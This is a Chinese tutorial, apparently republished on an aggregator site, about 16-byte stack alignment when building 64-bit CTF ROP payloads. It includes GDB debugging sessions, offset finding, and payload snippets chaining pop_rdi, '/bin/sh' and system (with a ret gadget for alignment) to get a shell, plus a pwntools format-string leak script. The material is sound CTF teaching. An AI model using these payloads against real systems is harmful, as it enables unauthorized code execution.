当前位置: 首页 > news >正文

从实战出发:详解64位PWN中payload构造的堆栈对齐陷阱与调试技巧

1. 64位PWN中的堆栈对齐陷阱:现象与本质

第一次接触64位PWN的师傅们肯定遇到过这种诡异情况:明明payload逻辑完全正确,在本地测试时却时灵时不灵。我在打newstarctf的pwn题时就踩过这个坑——相同的payload在本地跑十次可能只有三次能getshell,剩下的全是段错误。后来用GDB单步跟踪才发现,问题出在堆栈对齐这个隐藏机制上。

现代x86-64架构的SSE指令集要求内存访问必须满足16字节对齐,否则会触发通用保护异常(GP)。而系统库函数(如system、execve)内部会使用SSE指令,这就导致我们的payload必须保证调用这些函数时栈指针rsp满足rsp % 16 == 0。举个例子,假设我们构造的payload在跳转到system前栈指针是0x7fffffffe018(24 mod 16=8),此时直接调用system必然崩溃。

实际调试中可以用这个技巧快速验证:

(gdb) b *system (gdb) r < payload Breakpoint 1 hit时查看寄存器: → 0x7ffff7e31420 <system> movaps xmmword ptr [rsp + 0x50], xmm1

如果看到movaps这类指令报错,基本可以确定是对齐问题。我在moectf2023的pwn题中就遇到过这种情况——去掉payload末尾的ret反而能打通,就是因为原始payload误打误撞满足了对齐条件。

2. 动态调试实战:用GDB解剖对齐问题

2.1 关键断点设置技巧

以这道经典题目为例(模拟newstarctf2023 pwn1):

checksec --file=challenge [*] '/tmp/challenge' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

调试时建议在这些位置下断点:

  1. 主函数返回地址被覆盖的瞬间
    (gdb) b *vuln_func+0x25 # 覆盖RIP的指令处
  2. 跳转到目标函数前的指令
    (gdb) b *0x400567 # 通常是call system前的ret

2.2 栈状态观测方法论

触发崩溃时重点关注三个寄存器:

  • RSP:当前栈指针值(用p/x $rsp查看)
  • RIP:崩溃时的指令地址
  • RAX:函数调用前的参数准备情况

这是我调试某题时的真实记录:

Breakpoint 2, 0x000000000040078a in ?? () → 0x40078a <__libc_csu_init+90> ret 0x40078b nop RSP: 0x7fffffffdfc8 → 0x7ffff7e31420 (system) RIP: 0x40078a → ret

执行ni后观察崩溃点:

Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7e31424 in system () from /lib/x86_64-linux-gnu/libc.so.6 → 0x7ffff7e31424 <system+4> movaps XMMWORD PTR [rsp+0x50], xmm1 RSP: 0x7fffffffdfc8 → 0x7ffff7e31420 (system)

此时rsp=0x...fc8(末尾是8),明显违反16字节对齐规则。

3. 四步解决对齐问题:从理论到实践

3.1 计算payload总长度

先确定覆盖RIP前的填充长度。假设有:

payload = b'A'*offset + p64(pop_rdi) + p64(bin_sh) + p64(system)

用cyclic生成测试字符串:

$ cyclic 200 | ./challenge $ dmesg | grep -oP 'ffff\.\K[a-f0-9]+' 6161616161616168 # 小端序换算为cyclic偏移

得到offset=40字节。

3.2 检查当前对齐状态

在gdb中运行到第一个ret指令时:

(gdb) p/x $rsp % 16 $1 = 0x8 # 需要再增加8字节对齐

3.3 选择合适的对齐方案

方案一:添加ret指令

ret_addr = 0x40053e # ROPgadget找到的ret payload = b'A'*40 + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(system)

方案二:调整填充长度

payload = b'A'*32 + p64(pop_rdi) + p64(bin_sh) + p64(system) # 32+8(pop_rdi)+8(bin_sh)=48(16的倍数)

3.4 验证对齐效果

重新调试观察system入口处的rsp值:

→ 0x7ffff7e31420 <system> movaps xmmword ptr [rsp + 0x50], xmm1 RSP: 0x7fffffffdff0 → 0x401234 → 0x89485ed18949ed31 (gdb) p/x $rsp % 16 $2 = 0x0 # 成功对齐!

4. 进阶技巧:应对特殊场景的骚操作

4.1 当ret方案失效时

在2023年XCTF某道题中,我发现添加ret反而导致失败。这是因为题目使用的glibc版本在__libc_start_main中暗藏了栈调整。此时应该:

  1. vmmap查看内存布局
  2. 找.text段之外的ret指令(如libc中的ret)
    ROPgadget --binary libc.so.6 | grep ' ret$' | head -5
  3. 尝试组合使用leave; ret等指令

4.2 多级跳转的对齐保持

当payload需要连续跳转多个函数时,每个跳转点都要保持对齐。例如:

payload = flat( b'A'*40, ret_addr, pop_rdi, bin_sh, pop_rsi_r15, arg2, 0, ret_addr, # 保持system调用前对齐 system )

4.3 动态检测脚本

这是我常用的自动化检测脚本:

from pwn import * context.log_level = 'debug' def check_alignment(io): io.sendlineafter(b'> ', b'%p %p %p') leak = io.recvline().split() stack_addr = int(leak[1], 16) return stack_addr % 16 == 8 # 是否需要对齐 if check_alignment(io): payload = b'A'*40 + p64(ret) + rop.chain() else: payload = b'A'*40 + rop.chain()

5. 32位与64位payload构造的本质差异

5.1 调用约定的根本区别

32位采用栈传参:

payload = p32(system) + p32(0) + p32(bin_sh) # 函数地址|返回地址|参数1

64位遵循System V ABI:

payload = p64(pop_rdi) + p64(bin_sh) + p64(system) # 参数寄存器准备|函数地址

5.2 实际调试中的坑点

  1. 64位不需要填充返回地址
    在32位调用system后需要跟p32(0)占位,但64位中如果system是最后一个函数,其返回值不会被使用。

  2. 寄存器污染问题
    64位调用函数时可能破坏rdx等寄存器值。我在某次比赛中就遇到过因为rdx被意外清零导致execve失败的情况,解决方案:

    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
  3. 栈帧重建差异
    32位的leave指令相当于:

    mov esp, ebp pop ebp

    而64位的leave还涉及rsp对齐调整,这也是为什么32位程序很少遇到对齐问题。

http://www.jsqmd.com/news/609193/

相关文章:

  • 1995-1996 年阿拉斯加北坡 ARCSS/LAII 通量站点的北极植被样地
  • SOLIDWORKS右键菜单功能消失?3分钟快速恢复‘打包‘‘重命名‘功能(附注册表修复指南)
  • 系统思考与艺术浸润
  • AI开发-python-langchain框架(--并行流程 )改
  • 手把手教你:在无外网服务器上用Docker离线搭建Jitsi-Meet视频会议系统
  • 构建仓库与包管理
  • 利用SESSION进行文件包含
  • Docker(1) 底层原理一站式学习!!!(零基础保姆式 通俗易懂)
  • SetFit模型性能基准测试:与主流小样本方法的全面对比
  • 鸿蒙_引用自定义构建函数@BuilderParam在自定义组件中的使用
  • 为什么92%的.NET团队在.NET 9发布30天内未启用低代码?揭秘微软未公开的Runtime沙箱限制与IL修剪兼容性断层
  • 从Time-MoE到KAN与Mamba:拆解ICLR 2025时间序列论文里的那些‘网红’架构与核心思想
  • 2026 行业内碳纤维胶源头厂家推荐榜,结构加固型/桥梁修缮型/水下锚固型/特种粘接型厂家选择指南 - 海棠依旧大
  • subprocess.check_output和stdout有什么不同 还有run和popen
  • ArozOS部署最佳实践:5个关键步骤确保系统稳定运行
  • 光伏逆变器测试避坑:派能协议下电流值5倍偏差的修复实录
  • 10-汽车销售系统的设计与实现
  • Gemma-3 Pixel Studio步骤详解:顶部像素面板交互设计与GPU算力适配方案
  • Mem Reduct:5MB级内存清理工具让Windows系统效率提升300%的技术实践
  • Visual Studio 2022 版本对决:Community、Professional 与 Enterprise 全方位深度解析
  • 内存分配算法(系统分配算法~应用常见算法)
  • EtchDroid多语言支持实践:如何为全球用户提供本地化体验
  • GitHub中文化插件:3分钟实现GitHub全面中文界面的终极指南
  • 飞书文档批量导出架构实战:企业级知识库迁移的高效解决方案
  • BEMCheckBox完全自定义教程:掌握6种动画类型和外观属性
  • 紧急制动(AEB )模型,Carsim与Simulink联合仿真。 车辆行驶过程中,利用主动制动的方式躲避前方障碍物。主要利用制动安全距离进行判断
  • 海思Hi3516DV500实战:从陀螺仪数据异常到稳定防抖,我踩过的那些坑(附完整调试命令)
  • 3分钟搞定Goods查询页:Map传参+StringUtils分割符实战(附避坑指南)
  • 网易云音乐体验升级:BetterNCM插件管理器全攻略
  • MyCLI:一个增强型MySQL命令行客户端